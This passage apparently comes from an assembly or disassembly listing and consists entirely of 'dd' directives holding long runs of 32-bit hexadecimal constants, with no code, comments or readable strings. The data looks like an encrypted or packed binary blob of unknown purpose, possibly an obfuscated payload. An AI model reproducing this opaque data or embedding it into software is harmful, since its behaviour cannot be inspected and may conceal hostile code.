298A8B80h, 8F1DB57h, 512FCCFCh dd 4A9C8B34h, 0E4644B7Eh, 46F26695h, 0C60058D1h, 20F01E0Ch dd 0E6B461E9h, 4E89541Dh, 399F18EBh, 0BC6C4BDFh, 91711918h dd 5ADDCFA5h, 0E190447Bh, 92D2C004h, 795E7CA0h, 0A402BB0Bh dd 0BCF8880Ch, 8754041Ch, 0F4462C1Ah, 0AFF29474h, 5D05D382h dd 57D60229h, 0B0945F69h, 6DF1A7A0h, 0DE730725h, 0C2B712A4h dd 9C5466B8h, 0EAF1A6C5h, 0FB85820h, 2FD24077h, 66A9A289h dd 8071CFEh, 626E5AF7h, 0ABF8300Ch, 5234C0ECh, 63680E55h dd 0E984A544h, 7A44A128h, 2C6E15D9h, 0C69DEE9Bh, 0EF753749h dd 0F9EBCEEBh, 0E8BFF9A5h, 1EF292CDh, 0C4EA16D2h, 9384AF05h dd 0D7435EBh, 2F1CC446h, 0F607F588h, 168965D5h, 0C535AF5Eh dd 0AAEFE682h, 0ED089FACh, 56DC693Bh, 0FC075C53h, 0BC4B84F4h dd 0CCE982EBh, 12A07FB4h, 0CA56BCEh, 1176098h, 7D01DDF7h dd 12E71DA2h, 0E9EBE02Bh, 0CA902AF9h, 0B0577C5Bh, 21A92E28h dd 0A4FA42C6h, 66FC2000h, 0C248B45Bh, 8001ED17h, 0F5E0FEEAh dd 97E7DF35h, 0B050C008h, 0D370B2E0h, 6858C205h, 86B33DE4h dd 0F91BB412h, 0ACE893D3h, 96ECF34Fh, 5189E6FCh, 87E04088h dd 24C1E7D1h, 0E7948702h, 0AA8054C8h, 0F5E91F10h, 0C1C430FBh dd 68130AE9h, 5A8C5065h, 0B73C5DB6h, 4E310h, 3BDD224Bh dd 1774F681h, 0F41B9D7Ah, 107DE657h, 0D104F41Eh, 89195C6Eh dd 0D43831DBh, 6A47E05Fh, 688D7616h, 0A351D3ADh, 2010A02h dd 0AE895A08h, 0A556032Bh, 74C97AE2h, 3C9D8144h, 70295AB1h dd 0F04BF3CDh, 5D527470h, 0CFB9015Ah, 3157A64Eh, 18D532E9h dd 68243044h, 0BA563F09h, 164E5E9Fh, 0BE33C41Eh, 4E74FA9Fh dd 0C93CBC1Ch, 0D8598256h, 0EAD10090h, 0F09C23Bh, 54B3F684h dd 2F406DD3h, 0F9925AE3h dd 37AF9375h, 3182992Ah, 8E642A9Ch, 0F1ADE630h, 0ECCEEFF2h dd 0DAC097D6h, 3A009805h, 0D42D3CA0h, 0F477114Dh, 174C0523h dd 95C9E940h, 8982AD5Ah, 9AB05F5Dh, 0CFA15FFDh, 140AC08Dh dd 0C6E28102h, 5F49EE2Ch, 0A88243B1h, 0A0E68922h, 79B880h dd 552EC461h, 78066851h, 58470827h, 5BF7014Dh, 13E9149Ah dd 0DE257E24h, 680B6DB8h, 0E71963DEh, 0C1CB2151h, 43416A85h dd 40B45CB5h, 13155870h, 0D401E15Fh, 90DB2D22h, 0B7B983Ch dd 3858C5CFh, 0C76FB382h, 2142307Eh, 64305DD8h, 0E682C92Ch dd 722951Dh, 9275D14Eh, 8838FDFFh, 3BCBEBB6h, 98C289EEh dd 8210A16Eh, 0EF331857h, 0C41FB45Dh, 5F98BBC8h, 0D80D53F7h dd 0A630D78h, 55C5E0Bh, 7F8C8E07h, 0B02D2800h, 30728944h dd 14E92C5Eh, 974DA676h, 506849C2h, 2A0962D8h, 504A9D37h dd 5D0782DFh, 0E9B96F87h, 4BDDBBDDh, 0FA6FA407h, 282391BFh dd 0B7528848h, 5101BF94h, 38EE6856h, 0CA814BB2h, 180E50CEh dd 720C864Fh, 3476E77Bh, 0C15284E3h, 3A8065Fh, 7852E24Bh dd 0EAE9A36Bh, 89235EA4h, 0B0B12646h, 0E2163FC6h, 6888C1E3h dd 175BAF4Ch, 0C57BE956h, 3CA48005h, 0EB1F99E6h, 6857FD89h dd 2FBBCB43h, 5610AA58h, 0B85E134Fh, 9380D778h, 9D615968h dd 123D96FBh, 0F2F8236Bh, 0E8BD6CB6h, 498F6893h, 222D5E5Dh dd 0AD5E4462h, 0BA64E978h, 685C0BD7h, 52D10571h, 56BD0E89h dd 97D4FABCh, 0E9325549h, 0E9173FD0h, 0FEE4960Fh, 0D0140B47h dd 95B5812h, 1EA3F345h, 4F78DC40h, 3DA7213Ch, 74407E33h dd 0F336E868h, 48581739h, 0E6EE1C93h, 55081824h, 2D1E01E8h dd 97FAC954h, 1066C629h, 0ED13A3BDh, 20C1E334h, 442FF845h dd 8D91F938h, 3C38F9F5h, 0E8BD0578h, 6980D554h, 305DE2EDh dd 0FB0C3CD4h, 9E1733B0h, 0D25260E9h, 4149A3D7h, 0EFF802ECh dd 97F492C0h, 134AB702h, 4C8EEB0h, 9D7B7028h, 5B07EA0Bh dd 2F95073Fh, 6069E212h, 0E02C0CF0h, 0C602BD28h, 7D0A143Fh dd 0F6497713h, 0FE2DD059h, 124D6815h, 0C9E232BFh, 9E4A1109h dd 503AA38h, 6D096B85h, 8B7DB0D2h, 0D7AD329Ah, 0DED6416h dd 0E03A101Dh, 5B81DEB5h, 4C7E16C7h, 9D03443h, 8D23B1EBh dd 1DFA0A9Bh, 0C44A8055h, 5A29BC7Eh, 0AA4CF0C3h, 5C79DFECh dd 0EA50DA78h, 0E0BD5B08h, 82B3BE40h, 0C2C5325Dh, 41695521h dd 8FF653B0h, 7FCA3010h, 49E66805h, 0AB708146h, 3187DDFh dd 548D5837h, 9C0E1C45h, 0C12E0338h, 120004E5h, 74B0F394h dd 9D454BE9h, 2A8C1A65h, 1CEB4F80h, 2F604454h, 8037E6Ah dd 12BE015Dh, 0F45F126h, 0EA1C030h, 534D282Eh, 0C6EC5599h dd 0C7282682h, 257E030h, 0C0CB29ADh, 0D2F6E98Dh, 884D05A0h dd 0B0F884F7h, 2B5CB227h, 0F31B2559h, 47BE800Dh, 291FF026h dd 0A7C21390h, 70558F10h, 2FAC2725h, 0AEBD0A5Bh, 0B6801F58h dd 5AF30896h, 2E31DC0h, 0CE59880h, 0B13C5107h, 8DE99F82h dd 0E3ADC10Fh, 702846F1h, 29D84EB0h, 2CD0C03Eh, 32289C5Ah dd 5FD87D28h, 97E0A7E5h, 0BBB539A8h, 5152B141h, 0B160DDB5h dd 22BF80E8h, 4FE70E01h, 505FF921h, 13875970h, 87FA638h dd 0C02FF15Eh, 7628621Fh, 80580BE3h, 5EF86BC3h, 0A7E8D48h dd 8E0BC568h, 90FCE68Bh, 3073A2ADh, 0C10C25BBh, 0B1153141h dd 0CB70D389h, 0A0358453h, 360B8618h, 67B5CD4h, 6C24416Ah dd 357B170Ch, 4A070649h, 5F0B2EAEh, 105DE821h, 84B66EA4h dd 95E91C09h, 5512F2D0h, 562CE771h, 3D82876Bh, 30F488DCh dd 7DB1A049h, 80577432h, 82E052E6h, 0BFFC0B4Eh, 56137C3Eh dd 2473EC29h, 53AD4F4Dh, 0F9274968h, 2643468h, 0E81619E9h dd 9F068159h, 0E98451CFh, 34AE431Dh, 0DC44AFFEh, 0D0D8AA96h dd 4790400Ch, 9D09A390h, 803A8B31h, 664AC6CCh, 6AF89562h dd 0E913FBF8h, 0FE323C97h, 25DDD259h, 245A3E19h, 71148527h dd 17D3AC97h, 0D843A589h, 9BB7E551h, 0CB03E617h, 20DC0E5Eh dd 7FEA8272h, 5BDEF6B6h, 40FDD1EBh, 9ED2C1A8h, 0F4900BBEh dd 2E898C9Ch, 61AAF643h, 730EA068h, 170785Dh, 34326EBFh dd 5311C821h, 0CF1EB0C7h, 4F936C02h, 0FD80C5E9h, 0E878BE18h dd 3E4CCE9Dh, 5496C209h, 43ACC933h, 0B231B5FBh, 454D1646h dd 9B153C21h, 98EB1F84h, 234E78B2h, 68E096ACh, 249C3676h dd 0EC072962h, 0B94B934h, 0CE9AE45Bh, 0C2B75884h, 3FDE532Eh dd 0D52E1803h, 0FC0C010Fh, 0E9347D73h, 4EF86C70h, 66474ACh dd 0E24FC008h, 92C828h, 5A94024Eh, 88BDD304h, 0E72B20EAh dd 9C3E7A50h, 98A6AA1Dh, 47B5B95Fh, 0BB1FB3E8h, 2CD04EB9h dd 5A93CD2Eh, 10A8DA05h, 9D231AFh, 14DD7E38h, 78130E40h dd 0E92E0885h, 0EA26DAA5h, 0C82E80Ch, 711B0F05h, 0C34F148Eh dd 0C5C1BD92h, 0FE9439DDh, 4F2B89B5h, 0A6336717h, 3FD4126Ch dd 28E331BFh, 0B4680049h, 59B2BF0Dh, 5F3CD360h, 781D9227h dd 520307F8h, 60487538h, 0A85A0D3Eh, 0DCC50129h, 955FF02Dh dd 0C5448E5Bh, 5672CBBEh, 0F1F71312h, 71512721h, 54161723h dd 20D695Bh, 0B09F5E4h, 93A25E05h, 2C9BAC5Ah, 4FA5DF87h dd 0EB5C13E1h, 0C1E91130h, 0A0092D5h, 7BDD4146h, 0A0FA1DE9h dd 3EC95C4Bh, 111D016Ah, 2E483202h, 680923CBh, 0F84452FDh dd 3B2D5379h, 0BB1C676h, 15F41A38h, 253D86F6h, 2E0FECDh dd 416074B3h, 0BA5B1760h, 0F84CEA2Fh, 0C2399EB3h, 0B10394D3h dd 778784B3h, 0AD8467E5h, 0B72930EFh, 0E703C030h, 86D7F606h dd 0FD6A3F7h, 0FD885108h, 9DE9D561h, 0E4C86B7Fh, 0D334F256h dd 645F0113h, 6E48A423h, 0E581FA88h, 84EF0B44h, 24CDBEC6h dd 90DEE22Ah, 437D1180h, 644AE292h, 1CA9EDDDh, 57DD0101h dd 72F2D7E9h, 4DF90493h, 0D4BE4638h, 5A080969h, 0F4C9D25Ch dd 55896FFh, 0D90E4791h, 77002E93h, 635D03BAh, 16609F43h dd 5B001E35h, 9C0D2C36h, 3C318D7Fh, 0E192C92Dh, 319B878h dd 81460A05h, 97D83A65h, 0E93FEB02h, 0B85740A0h, 0EC4C8A1Bh dd 64883202h, 0FEFC6608h, 3BDEE961h, 4020CD3Eh, 0D651E20h dd 0CD5D307Fh, 3E2D0E39h, 681F2367h, 30FE9480h, 5CF9636Ah dd 0D02FA099h, 0A8204FE7h, 7F12A207h, 5A50C0C8h, 172B9895h dd 0EF91B4D6h, 0AF294065h, 5862BA41h, 0B03F0B99h, 5D3708A1h dd 0E9CD715Eh, 2F203830h, 21819623h, 0E2F90816h, 0C80148E8h dd 590A42F9h, 0C62339FEh, 0D1E0A7B9h, 4FC6609Ch, 0A09F3925h dd 0D656EB92h, 0EEE1EC66h, 32D72721h, 7BF123C0h, 0ED2CDF12h dd 0D0D81905h, 0F8FA39BEh, 51BE97D6h, 253E7EC9h, 0E59D38F0h dd 295C0BEDh, 7E028F02h, 0D7887DD6h, 28311BA8h, 897991F1h dd 898BBA10h, 6B130209h, 1C42E617h, 0A7DE6858h, 0D952A7DCh dd 0ABE94265h, 589727C4h, 0B5054849h, 0E2736104h, 0ADC9EE03h dd 8AFE9C04h, 5FE94E56h, 51377B10h, 55A56A94h, 61540CADh dd 4204E98Bh, 66936078h, 15DCCB59h, 0F9303540h, 25325395h dd 0B9E456F8h, 0F748A792h, 86C303C2h, 43F1E0Ch, 1A92BB0Ch dd 92228433h, 0A387F793h, 78FE939Ch, 2E391248h, 0AD09B2C5h dd 5F58C6C7h, 0C23B9040h, 910C53B0h, 98D38906h, 5A749A5Dh dd 0EB55E564h, 53B240CDh, 0C333FDBBh, 0D8314B1Fh, 5435A349h dd 3868E1A5h, 21377F7Dh, 406A6490h, 84585A07h, 0C15DC545h dd 5432E400h, 13E8B9E0h, 69FD789Eh, 8535EDD7h, 20EE5AD1h dd 0C18CE9A2h, 94FC094h dd 65897631h, 0C0831CB7h, 51E7D039h, 384AB2E9h, 29CACCA8h dd 4B60113Eh, 0F71437FCh, 9209E5DBh, 0F160FB7Bh, 0FF7235A8h dd 14E57B0h, 0C45FBD0Eh, 4CFFA5FDh, 5C919F7Fh, 0D9EB3CBCh dd 6D604B6Fh, 4B4B0E68h, 0E9A151E8h, 20268CFh, 0A07152BEh dd 18B5710h, 0A3EB0F55h, 217822Eh, 0A37C5F0Ch, 5A783199h dd 9367520h, 7DB56851h, 0AD820059h, 763EBF39h, 2CA287Eh dd 448D6C2Bh, 0C9507CE9h, 801CB271h, 0EACF25E2h, 18CBA47Eh dd 58E50800h, 0C776B353h, 0F8ACDD4Bh, 0D49DAE62h, 1E4D140Bh dd 7E8F82C3h, 0E166E90Ah, 0B251928Fh, 0E32944Eh, 40FE4946h dd 42F3814Bh, 12301A62h, 5D6A89h, 0C80D33A9h, 2985B74Dh dd 539A1E5h, 11B804F3h, 515905A9h, 7A307D8Dh, 4E1A709Ah dd 2A3E54Dh, 53E45908h, 7DE1F624h, 0A42CCC9Dh, 0C3B33416h dd 0AA7749C4h, 15739CCh, 8E4BE868h, 28475F43h, 1203737Bh dd 89BC71B4h, 0EFBCE4FBh, 0BFDA69Dh, 74F02E0Eh, 3E83F20h dd 80BFB551h, 0CD9884EDh, 0DD12F64Eh, 0F8A06EE9h, 77D99529h dd 0E642F0CAh, 16590ABFh, 7679E2C3h, 640C7709h, 4A457CFBh dd 0E32C0858h, 0E493117h, 54AD5DC5h, 5AB57C94h, 40803B68h dd 9C97BF22h, 27EC940Ch, 0CADAC76h, 79D0F86Eh, 0CC68501Bh dd 46B6CB06h, 0FA983843h, 3300BF57h, 812D3B3Eh, 73FC7E7h dd 0EFC145A7h, 46CF9006h, 70171003h, 71B114E9h, 81F2843Bh dd 7AF3A62Bh, 0E1F78640h, 0EC2F134Ah, 86602C7h, 0FE89156Ah dd 0C9C2DC42h, 981BDC8Fh, 4826E003h, 0CCF70C46h, 0E1952080h dd 0BC964FA1h, 0A2E9094Eh, 0BD9D5B40h, 0B63C7492h, 77292E27h dd 0A840E128h, 6C7F2E68h, 70D58810h, 9B8999A4h, 1E9C553Fh dd 6DCD7C5Fh, 6548E736h, 538B4416h, 68910E2Dh, 0BDB27429h dd 0E9EA2581h, 70EC381Ah, 0C380F309h, 6D0BFD19h, 490D0155h dd 0F531E4C0h, 0DF636AD6h, 0CA80EA14h, 49C052E9h, 687FC7BBh dd 92B9039h, 0C697803Dh, 20819E5Dh, 18983D55h, 1E3E1D41h dd 0B2DB0909h, 0B65E3D2Ch, 0E059C340h, 255B79F8h, 9B6E1D41h dd 1C500DA0h, 0EF6DAD28h, 923AC0Eh, 0EBEFC02Ah, 1776F27Ch dd 2830EAE9h, 801C5BD1h, 0CB020DC1h, 0A3DD4AE9h, 0BA464DCCh dd 0C9174074h, 0FD032614h, 5DC101AAh, 805C1608h, 380AE20Ch dd 9ACF894Bh, 71AD0B2Dh, 8E894FB1h, 4D2E8AF7h, 5ED6F103h dd 0DA9E50B7h, 0F32F2863h, 0E0A524D7h, 300167E0h, 664DB905h dd 89F8714Eh, 0B5A122Bh, 4682E1C1h, 0BD00BE37h, 49461530h dd 307D9605h, 351AABEBh, 0D27F4022h, 29052AFCh, 0C7014160h dd 90BDBE3h, 5FDC5FF9h, 0E4344289h, 0F740BD45h, 0E5BDFE01h dd 0EFC68013h, 11D5A55h, 4194DE5Ch, 0AB0C8208h, 51752A21h dd 84D1A7CCh, 0DDB93496h, 0C1052D58h, 0E057E97Ah, 0F73996E2h dd 78ECD0D6h, 35367913h, 192E06EEh, 0F2017F10h, 6B91014Ah dd 16CD031h, 2E6852A0h, 48CBDD18h, 0B5C8E91Fh, 2DF78DE8h dd 6A911712h, 96F11201h, 42307235h, 346C0180h, 0E9EB016Dh dd 4ABB3C53h, 0E48528A2h, 0D920EBB5h, 0CA31D2F7h, 0BDBF6C67h dd 9963DD2Fh, 2880065Ah, 9A8C4BAh, 0D586E93Bh, 505DA652h dd 0C58009A7h, 0FDF0864Fh, 0C9D1980Ch, 316D586h, 89D4C595h dd 0B946128Eh, 9194252Fh, 8A415D39h, 352A72DCh, 0B31C164Bh dd 0F75C80C4h, 97FD68E9h, 76EA3EFAh, 94C4F5D3h, 363039EBh dd 4F91970Ch, 0AA05D98Eh, 0D4AFB624h, 0E190BE06h, 0B5BB09E9h dd 38F2BC1Ah, 0DAB9C52Dh, 0DF862D04h, 29BFAE4Eh, 5018E12Ah dd 0BDEEFD70h, 0E79BBAC8h, 19AD0CD2h, 3916E9B0h, 534DA8A8h dd 0AA422024h, 6BAC8A0Bh, 233EB92Fh, 799F932h, 95283F58h dd 302D9F55h, 803D6E11h, 0E9058C2Eh, 18C2484Ah, 8CECD554h dd 0C64FABFAh, 660911E3h, 0A2D7D259h, 2F7307ECh, 86BA84D6h dd 0C13F12EDh, 354883E0h, 4A94918Dh, 1CA40BCEh, 9E45D92Bh dd 6CAB708h, 9355D1F7h, 5DFC5992h, 6A6F619Dh, 0F0131E6Dh dd 27FCB85Eh, 1A0DC21h, 0DE7D8CCAh, 0A4482139h, 0FB0A7D9Bh dd 51C4A93h, 0D5129642h, 1CD461h, 43C7EE2Dh, 0C56201B2h dd 0D53880A2h, 0AC08F499h, 7E5A7711h, 728242B2h, 2AE1875h dd 73322437h, 604401FAh, 0FE016CE8h, 80B0842h, 2D407F71h dd 486111CBh, 7C20FB18h, 2F32C880h, 5E58A52Dh, 12D70B99h dd 80B5B418h, 41A0D1B8h, 71B5158Dh, 0ACCED36h, 4BB340BAh dd 4CAE1101h, 0D3F7DD87h, 0BB530883h, 4DD97C44h, 0A8E9F009h dd 1FF2E05Bh, 5B47AA01h, 7FD501A9h, 74A40589h, 0F5502745h dd 0C3BA5267h, 0F850C5F2h, 7687393Eh, 1558FA27h, 4FFA50B5h dd 890D8929h, 72F9E945h, 0A8E2D760h, 5DC75457h, 137A335Dh dd 0D6927271h, 126678DBh, 0EB771C68h, 0DB087869h, 4EE89DD3h dd 618271A6h, 2C632F8h, 0F5D1D701h, 4C37F16Bh, 0B82CE951h dd 25BB981Eh, 49F85902h, 53653D7Eh, 58B2B6ACh, 85F9655Dh dd 0F25AF468h, 0E8E9C4B1h, 0E12D31D0h, 0FA22518h, 7201176h dd 0F9685E0Bh, 359A5747h, 0BB84D38h, 78E63558h, 97F8C24Ah dd 0FA510BE0h, 22E91609h, 1E6B90F8h, 2B952C08h, 2732897h dd 6F73F475h, 0AAA004E9h, 28EDF280h, 0CF5AD038h, 0A84F1BB2h dd 29598272h, 0EA4BC1D5h, 0B8D4D725h, 5A090022h, 1D320572h dd 3598CFEBh, 8D890C54h, 847F0B49h, 7E83669Eh, 1244AE74h dd 0ACFE8852h, 0D85B2F42h, 0A778207Ah, 9025097h, 6C8A719Bh dd 0EC97468Eh, 0F53DE86h, 0AAADE256h, 0F8294212h, 27068EF6h dd 1EC4205Eh, 5B2438E8h, 0C856EB11h, 54A07362h, 63FC4B70h dd 8B069505h, 0A8098E0h, 0E92E5B08h, 7B6627CBh, 9A09F0B0h dd 5D0FF76Ch, 0D039D184h, 5C686642h, 789A42F5h, 0AFF91B09h dd 1ACAA9BEh, 8E23419Dh, 88029E79h, 5945A867h, 57043F76h dd 0A3937CE9h, 0A5E1DD68h, 0E9082C2Fh, 2CA1B32Ah, 0A1EC544Ah dd 25584505h, 14CA806Ch, 5E4E6713h, 256B4EF0h, 91E2CA8Ch dd 0FF9BC005h, 0DD7E352Dh, 0F2642E12h, 3149FDD7h, 44343BB5h dd 6F3009B9h, 89FF7682h, 0C196D7E1h, 72B26B25h, 4D5E7802h dd 0A2602236h, 0AC830E0Ah, 0C06962BFh, 2F72EDFFh, 8F433C68h dd 2051A3AAh, 266EBE81h, 0EF303A1Dh, 27F144Dh, 9101ABB5h dd 29461B5Eh, 1EEB44F5h, 3A8EED08h, 2E8FB6Ah, 77F25344h dd 8B02FB5Ch, 48565B03h, 5697479h, 0C7E963ADh, 7FA4CDAEh dd 91BAFA64h, 15D95B44h, 0BDD15688h, 24A910Dh, 6EC063CDh dd 68022503h, 0E926F95Bh, 224EA40h, 0BFDE2C8h, 0D7AC1BF4h dd 5A183320h, 0C968D589h, 397282E3h, 9A6F1020h, 0E2EF4B64h dd 0A46C2DE2h, 0CDEF44C6h, 0EF0804AFh, 85E9F4D1h, 535E367Ch dd 0A5F2F220h, 0C811DDACh, 0C3134A06h, 464FCAC0h, 17BF7019h dd 0A1E6B9B1h, 965C2C38h, 9AE94C44h, 1CFBD794h, 0E5AFFC8Ch dd 867CDDC2h, 8066BAC9h, 872D57D8h, 41D18320h, 9E802F1Ch dd 580B4766h, 3507849h, 921A1EFDh, 10D51B5Ch, 4FB508B0h dd 0B90CE5FCh, 1D2BE67Ah, 2E1801C5h, 0DE9774Eh, 90D53AA4h dd 4801D697h, 0B02C55F3h, 3515825h, 98B562h, 0BC7CE268h dd 71D74750h, 0E1B920B7h, 1EE02CB9h, 3F414938h, 71962E01h dd 2ECD0184h, 0AD920A35h, 942D75Ah, 1C4CA556h, 1E959453h dd 44CA8901h, 80B59EFDh, 5838B3C5h, 0C202F27Bh, 2B6C399Fh dd 346D14E0h, 181B4930h, 3E764D8Bh, 0E2864A0Eh, 0F45E3166h dd 113CEA1Bh, 0E756004Eh dd 0E90CD650h, 4CB7330Ah, 12A42213h, 9B95C8F0h, 10CCF17Eh dd 0E971602Bh, 1CBD7DC3h, 7E504C1Eh, 0ECB69916h, 74F78BAFh dd 7F1202D1h, 8B5791D1h, 785B8963h, 806917FAh, 17EFBC1Ah dd 6B88DDA7h, 68C80B0Fh, 0BCE65B46h, 1C6D782Dh, 4917FC5Fh dd 4B9E84CBh, 0E5C80FC5h, 3D2668F9h, 2C005578h, 0E9CB6735h dd 3CCABC58h, 9817B405h, 0A895C214h, 64C60009h, 9831651Bh dd 5DD2E3BAh, 3055FAB1h, 640F2673h, 82BD17C6h, 0FF431367h dd 0A46F0082h, 0BED0E5D7h, 0C425E694h, 924FA196h, 39AED62Eh dd 0E93C2406h, 0CE108E5Eh, 3BF6029Eh, 5716F4D6h, 88765002h dd 0C25DB2CAh, 970344CBh, 0C33C6B0Eh, 0D3BF2535h, 6BEC2989h dd 348676C5h, 57A80220h, 0FAE940C7h, 0DE7C09F5h, 5C4A54B3h dd 965A6DB4h, 93E9589Eh, 0DE44B94Bh, 0EDE908D5h, 8D364513h dd 7B09FCCBh, 7C642AC9h, 0A5660897h, 7A2D5F01h, 0AB202C6Dh dd 0FA17D3F6h, 2BF20A00h, 0F35087Fh, 7D117A5Bh, 0E73E9C41h dd 6E7C6166h, 0B62AE12Dh, 8FC662C2h, 0A23EE047h, 5B129DD6h dd 47605342h, 7AFC4DA5h, 0B26C974Ch, 0F9FE8158h, 0CA78161Dh dd 9B46FF00h, 0DEE95967h, 2C0D1B59h, 58889501h, 0B76809FAh dd 0E97090FEh, 0A628B492h, 26732668h, 7DB40065h, 410D6855h dd 47EFD9B8h, 97EAE6D5h, 0F688C495h, 43EE6708h, 0ACCB75DEh dd 0A5BD059Fh, 92C0722Fh, 2D3CA8CDh, 145055EFh, 0A44B7390h dd 14908B41h, 0BA2D4D33h, 6B36550Eh, 0F8940C59h, 0B880021Dh dd 2AE83465h, 548880DFh, 575F0307h, 80661F5h, 3ACE091Ch dd 4A6E4F5Ch, 24BB5A20h, 13AFD831h, 332BFC3h, 0B97C7466h dd 0CA900120h, 90A71920h, 4FEBB5FDh, 8590849Ch, 5F68B9C5h dd 40D69EF2h, 0C0F4B1B4h, 40E703E1h, 0DCB05098h, 7D5B01B0h dd 5EE9574h, 0C0150591h, 6F7CCD87h, 7C4AF531h, 7AA5E5D1h dd 3558DE40h, 0E941C505h, 4D06BA4h, 0F350A2B1h, 0CA508DCDh dd 5F5759CEh, 0ED98D568h, 0C0AD38D8h, 25587766h, 7F44BD13h dd 0B51019B7h, 93239B41h, 3B0C103h, 4D4D1F7h, 25060015h dd 0CB056F01h, 0C6BD2F1Ah, 27002B59h, 0F7C26602h, 0B30B0D9h dd 437F24A3h, 26A8847Fh, 5A2E8DACh, 3C0708D4h, 0E58282B7h dd 60A05C10h, 65725685h, 9425B79Ch, 4106B08Dh, 29092FA0h dd 30754032h, 445B9DC3h, 35D97C27h, 6A2DBBF1h, 1604A72Bh dd 0C3B5C08Ah, 25CF3C8Ch, 99DD59Bh, 63D67442h, 0E1286CDh dd 4C4BB450h, 661F24C9h, 8EA545C3h, 4244F4Fh, 9C20BB6h dd 7D3584Bh, 1287B6EBh, 2734E2FCh, 814CFC4h, 10C75D2Bh dd 800E9796h, 0C46751F4h, 3BC263F0h, 0EADBE283h, 6D3058A9h dd 0DDE91673h, 7C87D84h, 40AF4F7Ch, 315DE204h, 0E3B0294Bh dd 0F85AF20Eh, 0EB82F32Fh, 0A40FC5EBh, 620C0343h, 9A481573h dd 359D2EB2h, 0E2CB8430h, 90E2B8E3h, 32196019h, 0B04DBDBFh dd 91B06F4Fh, 0ACF0581h, 0AB188362h, 78561F02h, 0A90BF717h dd 0D1C7B800h, 0E3051D8Bh, 6CE9FE89h, 5E2506A8h, 0E9E19C79h dd 28779C1Eh, 7E060710h, 1F28D649h, 750950FDh, 60B9DE3Ah dd 7F07447h, 70F55D5Ch, 1A0B5C73h, 0FAA760E9h, 47571261h dd 50FB057Ah, 109BB30Dh, 0F7587E6Bh, 9D201A4Ch, 5C0A5D4Ch dd 9D312450h, 509ADD0Ah, 302A5649h, 0B7019D5Ch, 0E3D14001h dd 0D2F7D387h, 1AF08A0h, 6D9307B0h, 743FE942h, 0C2A05F76h dd 607F29EAh, 71DF97A0h, 4E326330h, 3D683526h, 5BA72133h dd 1B5073C2h, 0EB505395h, 19C11C1Ah, 0F7DF6AFEh, 0E9A6304Eh dd 28B9C65Eh, 541C68E2h, 0CB822657h, 0C968D4B0h, 0D6306C4Bh dd 0C7962AAh, 0D086E937h, 0DB1EB55Ah, 0D6E7C580h, 89A81FF5h dd 0B25622B8h, 0FCFF82C9h, 96EFFCC7h, 5A28AD9h, 0B35310B6h dd 1BADD5B1h, 972C1E58h, 0E15BBE7Ch, 0D274C30Ah, 0B4711935h dd 8B0D2C8Ch, 0D3214DE1h, 11732617h, 36F94AC4h, 56C1FEE4h dd 0AACF7AEBh, 2C06C58h, 0E928B652h, 0ACC8D898h, 0B03D7112h dd 5F153D7Fh, 688264E3h, 714628F6h, 0CF095279h, 9057A64Ah dd 9BE4470Ah, 2375125Dh, 0C9FAC856h, 3001E1FCh, 0C6FE5BDEh dd 9E8764E8h, 1AF4491Fh, 0D759CA62h, 0F02281CDh, 0E91AC690h dd 0DD4467D1h, 68FEE416h, 5055CB2h, 315F6308h, 57A252A8h dd 3FDEC369h, 5C129C62h, 0A35812A5h, 0ED856F21h, 0AB3079A6h dd 255A01C3h, 79683CD8h, 0E3A262Ch, 57426514h, 1A2E01B8h dd 0D3018E54h, 2C31D9FFh, 4AC13A84h, 0FD047D56h, 8A9D86AFh dd 0E7589517h, 7423F827h, 9F5D6A6Eh, 0F35C7FB1h, 5437F680h dd 22BD076Dh, 75801017h, 4672EE22h, 4909E075h, 0E39A8389h dd 0FB9DFB96h, 86130B1Ah, 6C304D39h, 0D88C019h, 970932C6h dd 0B1B41D84h, 343D6F42h, 0AA30657Eh, 39E98520h, 0B84A4EFh dd 51D27E09h, 88C72860h, 395B2502h, 24FAE1E9h, 2A0582EDh dd 262CA7A2h, 0D09703F5h, 0C1CAF8EAh, 2FE9F0FEh, 0DB7AA6D3h dd 651DF3F0h, 0F2834784h, 0E18E5811h, 0E43EDAF7h, 99167136h dd 8DED1A32h, 2F9E04Ah, 0A5BCE795h, 0E627E45Eh, 0E7254928h dd 5277BF00h, 0F7815439h, 0C6AD8801h, 5FFE29ABh, 2F143A77h dd 0DC80D3BAh, 213E701Ah, 0F768CCC2h, 80C5D14Dh, 204C4F90h dd 8016E381h, 8400B651h, 0A22B34CBh, 1C4C9036h, 0A564315Eh dd 0D98AEEFCh, 99A0E2F8h, 0B0663326h, 0DBFC056Bh, 3FC4BC20h dd 5A7348DAh, 0E203B152h, 7FEF6851h, 78592981h, 7A066C6Ch dd 218D0EF1h, 0E1C71030h, 0EFDDAE22h, 2A59D082h, 75A3BA7Dh dd 65EF1F90h, 0CCF962D6h, 74D8E9F1h, 511D508Fh, 0CD07FCB9h dd 79D28131h, 0A94D430Ch, 90261140h, 26C1680Bh, 285B0166h dd 0B5294283h, 95477E04h, 6044BB13h, 8FEE5954h, 0D2C95CDFh dd 16896308h, 3ACEC9B8h, 7E459AD2h, 8CC681CAh, 0D83C4337h dd 0F4A42E6h, 0EE006FF8h, 4C313F97h, 0AB90D6F7h, 6543BA4Bh dd 26277D5h, 882FC626h, 5758A39Dh, 66024787h, 5A1FB368h dd 5351263Ch, 177E1021h, 604F75Eh, 0CA043DBh, 36442575h dd 385E65F8h, 0D430A601h, 0E3C15A66h, 648E097Ah, 0B88EAE7Dh dd 0B159BA06h, 0BB26C81h, 0AF42C07h, 1CAC5AE9h, 3A501F3h dd 2683862h, 0F2303F54h, 7D142657h, 150A2573h, 66FBCF18h dd 5E5E7D72h, 16C66FE4h, 9855C43h, 0A6D82D93h, 0D4CAFE27h dd 9079FAFh, 5529ABDAh, 272C0F75h, 5ACF8101h, 50528103h dd 7E704526h, 6A824139h, 0F36A68E1h, 0E29E6CE7h, 48C816F1h dd 26EA0647h, 809D5D8Eh, 7121D157h, 7DFB40Fh, 407BDECDh dd 0F041E962h, 2C0C949Bh, 4CEF69E4h, 94060103h, 124D8531h dd 0E4E90509h, 5BED3023h, 0C0D0017h, 66A3F381h, 0D8A021A6h dd 0AB2F71F4h, 352BF82Dh, 0EEB10A0Fh, 0B2C3B800h, 0D630D611h dd 2D49BF2Ch, 3E7D8231h, 6768564h, 0AC204EEh, 0EFEA1802h dd 0A16305B5h, 82C7013Bh, 0A37D29DEh, 2C7B0D7Ah, 589FCAFBh dd 695EDCE9h, 3DE5ABC8h, 0ABAFE230h, 94C1AB20h, 3664EA92h dd 0C240B516h, 20E42267h, 664F7B98h, 0BEF99653h, 